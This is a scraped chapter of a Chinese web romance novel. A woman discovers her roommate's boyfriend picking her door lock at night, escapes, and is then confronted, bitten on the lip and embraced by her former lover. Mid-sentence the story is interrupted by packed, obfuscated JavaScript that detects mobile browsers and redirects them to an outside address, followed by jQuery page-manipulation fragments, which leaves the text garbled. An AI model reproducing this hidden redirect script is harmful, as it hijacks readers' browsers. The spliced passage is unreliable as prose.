默认冷灰
24号文字
方正启体

177. 第177次下第12场微雨

作者:予春半捧雪本书字数:K更新时间:
    深夜。


    燕雪融居住的小区是一处老破小。


    归结于学校附近的地理位置,有学区房优势的老破小依旧满人。


    加上还有本地土生土长的京城人,和几十年前因各种原因住下的新京城人。


    人口虽然不少,可还是以年迈的老人和刚要开始读书的小孩为主。


    因此到了深夜,会出来活动的邻居很少。


    整个小区看上去都是静悄悄,只能听见风声与树叶被波动的沙沙声。


    燕雪融和好友们告别之后,先是看了一眼自己租房那栋楼的亮灯情况。


    上面似乎是黑着灯的。


    原本在车内就被白嘉楠哭得有些沉闷的气氛,仿佛在此刻更多出了两分不一样的冷清。


    要是那个室友能不带其他人过来就好了。


    燕雪融抬头看着漆黑的楼层叹了口气。


    可明天都还要上班,就算想换房子估计也得等好友帮忙找找有没有内部推荐的房源了。


    大学时想着要为自己拼个未来,却怎么也想不到多年之后的她还要靠好友帮忙找出租房。


    她回头不经意地看了一眼。


    “咦?”


    不远处停着一辆车。


    燕雪融对豪车的概念很差。


    几乎所有“有钱人会开的车”的品牌,也只剩下当年和衡旭在一起时在他身边见过的车。


    在最后两人分手之前,衡旭卖过他名下的车。


    只留下了一辆基础商务和自己私藏的一辆,燕雪融还记得车头中央的品牌标志。


    私藏的那辆,因为他们两个曾在里面胡闹过。


    衡旭怎么也不愿意转手,宁愿将其他的都卖掉来维持旭飞艰难时期的资金流转。


    所以燕雪融对这个牌子最有印象。


    和今晚小区旁边停着的车有着同样的立标。


    但看上去样子不太一样。


    燕雪融眼中闪过疑惑。


    这个小区什么时候来了个这么有钱的户主?


    但仔细想了想这栋老破小小区旁边还有学校,说不定是哪家小孩的家长,又释怀了不少。


    毕竟这里是寸土寸金的京城。


    谁也不知道楼下认识的哪家奶奶,会不会是某个国外、或者港区富婆“待在老家的母亲”。


    即使是老家从大山来的燕雪融也早就看习惯了。


    在小区楼下逃避了一会,燕雪融提了提肩膀上的挎包疲惫地往楼梯上走。


    全然没有看见,就在小区,方才看见的那辆车里,驾驶位上的车窗缓缓落了下来。


    一只包着绷带的手自然地搭在车窗上垂落。


    两根手指上夹着点燃的烟。


    燕雪融转上楼梯转角。


    周围邻居几乎都是当爷爷奶奶已经年纪更大的老人,睡得很早,四处漆黑一片。


    她小心翼翼地打开出租房的门,没有发出一点声音。


    她有点害怕会不会出现上次那样,在客厅里多出一个人却不知道该怎么应对。


    但今天沙发上没有人。


    燕雪融刚想松一口气。


    再次抬头时,她的瞳孔瞬间放大。


    有一道人影。


    燕雪融无法从背影中直接认出来是谁,但那道身影不管怎么看,都只能属于一名成年男性。


    而此时,这名男性正在属于燕雪融的房间门外。


    男人微微弯腰,膝盖也跟着缓缓屈了下来,似乎是在看什么。


    有窸窸窣窣的声音。


    燕雪融连呼吸都不敢大声。


    因为此时的男人手机还在开着微弱的光。


    也许是他也在害怕被人发现,所以没有直接开整个屋子的照明。


    金属碰撞的声音,不断传入燕雪融的耳中。


    偶尔停顿,偶尔连续。


    是男人在尝试撬开门锁。


    巨大的心跳声。


    燕雪融觉得自己的脑中有一根琴弦,“嗡嗡”地跳动。


    连手都是在颤抖的。


    可就是在这样的情况下,她还要让自己保持无声,连呼吸都是缓慢的,根本不敢传出任何一丝气息。


    要是被发现她可能就要死在这里了——


    燕雪融的大脑里不断充斥着这个想法。


    喘不过气了。


    感觉头好痛。


    胸口也好闷。


    好想大口大口地呼吸,但是根本不敢。


    而且,也许是因为紧张或者其他原因,不知道为什么,肚子也开始疼了下来。


    还是从肚子到肚脐更下方一些的位置。


    燕雪融咬了咬唇,只能将这归结为紧张到自己岔气了。


    时机已到。


    燕雪融悄悄地走了出去。


    她连呼吸都不敢。


    即使如此,关门的时候也让燕雪融手心发汗。


    只差一点点。


    就只差一点点。


    燕雪融死死盯着关门——


    “咔嚓。”


    “谁?!”


    大脑里的那根琴弦仿佛被瞬间崩断。


    燕雪融眼前一白,想也不想,连忙抬脚冲下楼!


    一口气冲下了两层楼后,她不敢直接往下,而是在这层楼的中央躲进了一个转角的角落里死死捂住自己的嘴巴。


    耳边有心脏咚咚在跳的声音,很大,大到她几乎要听不见其他声音。


    好像没听到有声音下楼。


    燕雪融又听了一会儿,确保真的没听见别的声音,这才小心翼翼地从另外一个出口的楼层下来。


    直到眼前的一楼绿化草坪出现在眼前。


    她这才开始脱力地蹲在了旁边绿化带的椅子面前,连坐下来的力气都失去了。


    是燕雪融那位合租室友的男朋友。


    走下来之后,她重新从记忆里搜寻。


    刚刚因为太慌乱,连之前的记忆都已经失去了。


    等回过神来之后才想起那个男人裸着上半身,下面穿着的裤子就是燕雪融见过的。


    她的室友在阳台晒衣服的时候会看见,很常穿的一款。


    后知后觉,肚子又痛又涨又酸。


    刚刚连呼吸都在强制调整。


    加上今晚又喝了酒,此时也头痛欲裂。


    肚子里一股翻滚,燕雪融忍不住在草坪的位置上干呕两声,撑在椅子的扶手上让自己坐下来。


    今天是他第一次干这件事吗?


    是什么时候开始的?


    她的房间里会不会已经有看不见的监控了?


    燕雪融不敢保证。


    越来越反胃。


    忽然。


    有快速的、沉重的脚步声。


    燕雪融内心警铃大作,飞快跑到另外一个楼层的折角墙壁作为遮挡。


    于是就从她那栋楼的楼梯口下方走出来了一个男人。


    上半身只套了一件敞开的衬衫,看得出来是因为出门确认找人而匆匆套上的,下半身穿着燕雪融记忆里的那条裤子。


    男人左右看了环顾了一圈。


    整个小区里只剩下夜晚的风声。


    还有流浪小猫的喵喵叫。


    时间已经要入秋,天气也开始转凉了起来,很多流浪猫减少了食物来源,每个晚上都会在小区里叫。


    看见小区有人走下来,以为是来喂食而聚集过来了两只流浪猫。


    男人烦躁地狠狠一跺脚:“去!”


    旁边的小猫吓得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979809|169141||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    飞快钻进了车底。


    男人在周围看了一圈,发现确实没有人,也许刚刚的声音就是隔壁邻居发出来的响声。


    男人“啧”了一声又看见不远处小区停车位置上,停放着一辆明显的豪车。


    愣了愣,一股无名火烧得更加严重。


    对着那辆车呸了一声:


    “什么玩意儿还在这里炫!看我什么时候把它划了!”


    燕雪融死死捂住自己的嘴巴,举着手机的手完全不受控制地在发抖。


    “——他是谁?”


    燕雪融猛地被吓得回头,极快的速度,脑袋却在这个时候传来柔软的闷感。


    没有坚硬的墙壁碰撞带来的疼痛。


    有人。


    在燕雪融转身之前就轻车熟路,预测到她惊吓过后的反应。


    在燕雪融快要撞上墙壁之际,垫在了男人宽厚的掌心上。


    行云流水的动作。


    像是已经做过很多次,不管是刚看见的动作、还是之后的反应,都已经变成了一种条件反射。


    燕雪融就这么猝不及防地对上了一双漆黑的眸子。


    就在对视上的那个瞬间,她如同被那双乌墨似的眼睛刺伤。


    上面明明倒映着她惨白的脸庞,可在夜色当中,情绪浓烈得像是灼烧在她的心里。


    光是看见的这一刻就能化作烙印。


    燕雪融愣怔,原本脑袋就已经是一团浆糊,可在这里看见衡旭更让人惊讶。


    她的脑子彻底宕机。


    不仅是信息量过大导致的空白,还有男人眼底里的阴郁。


    一股若有似无的酒香从衡旭的身上散发出来。


    燕雪融皱了皱眉,骤然想起,今晚的酒席上他确实喝了不少酒。


    就连不小心打破的杯子也是酒杯。


    就在燕雪融的头撞上去的同时,她也同样听到了男人压抑住音量的一声闷哼。


    她转头看过去,顿时心底里所有的疑问都被抽散:“你的手!”


    随着一声气音的惊呼,燕雪融连忙将男人的手拉过来。


    因为刚刚快速的剧烈撞击,本来洁白的医用绷带上逐渐渗出了血色。


    燕雪融回头又看了一眼,发现刚刚那个男人早就已经骂骂咧咧地回去,才终于松了一口气。


    “你怎么会在这里……”


    “那个男的是谁?”


    燕雪融愣了愣。


    男人一双直勾勾的眼睛看过来,神色平淡,唯独那双眸子里透着半分潜伏已久的疯狂。


    “他——”


    话音未落,唇上猝然传来一阵尖锐的刺痛。


    燕雪融整个身体僵住。


    男人身上的冷松香的酒香从唇瓣上一起传来,钻进鼻尖里若隐若现的,分不清是梦境还是现实。


    不管是谁都没有闭上眼睛。


    可男人却没有亲——不过说,衡旭根本就没有亲。


    像是一种带着惩罚和恼怒中的啃噬。


    直接狠狠咬在燕雪融的上唇,像是一头夜晚里危险的狼,不管不顾地宣泄不知来处的怒火。


    衡旭只咬了一会儿又松开。


    松开的瞬间却直接抓住燕雪融的肩膀,也不顾自己手上的绷带覆盖范围越来越广渗出的血色。


    燕雪融被迫仰着头。


    男人死死扣着她的下巴,往上。


    疼。


    燕雪融的第一反应。


    男人的手已经放轻了力度,却还是会有轻微的痛感传来。


    下一秒。


    衡旭却没有再吻过来。


    仿佛刚刚咬在唇上传来的触感和痛意都是转瞬即逝的梦。


    可男人抱了上来。


    衡旭搂紧了她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)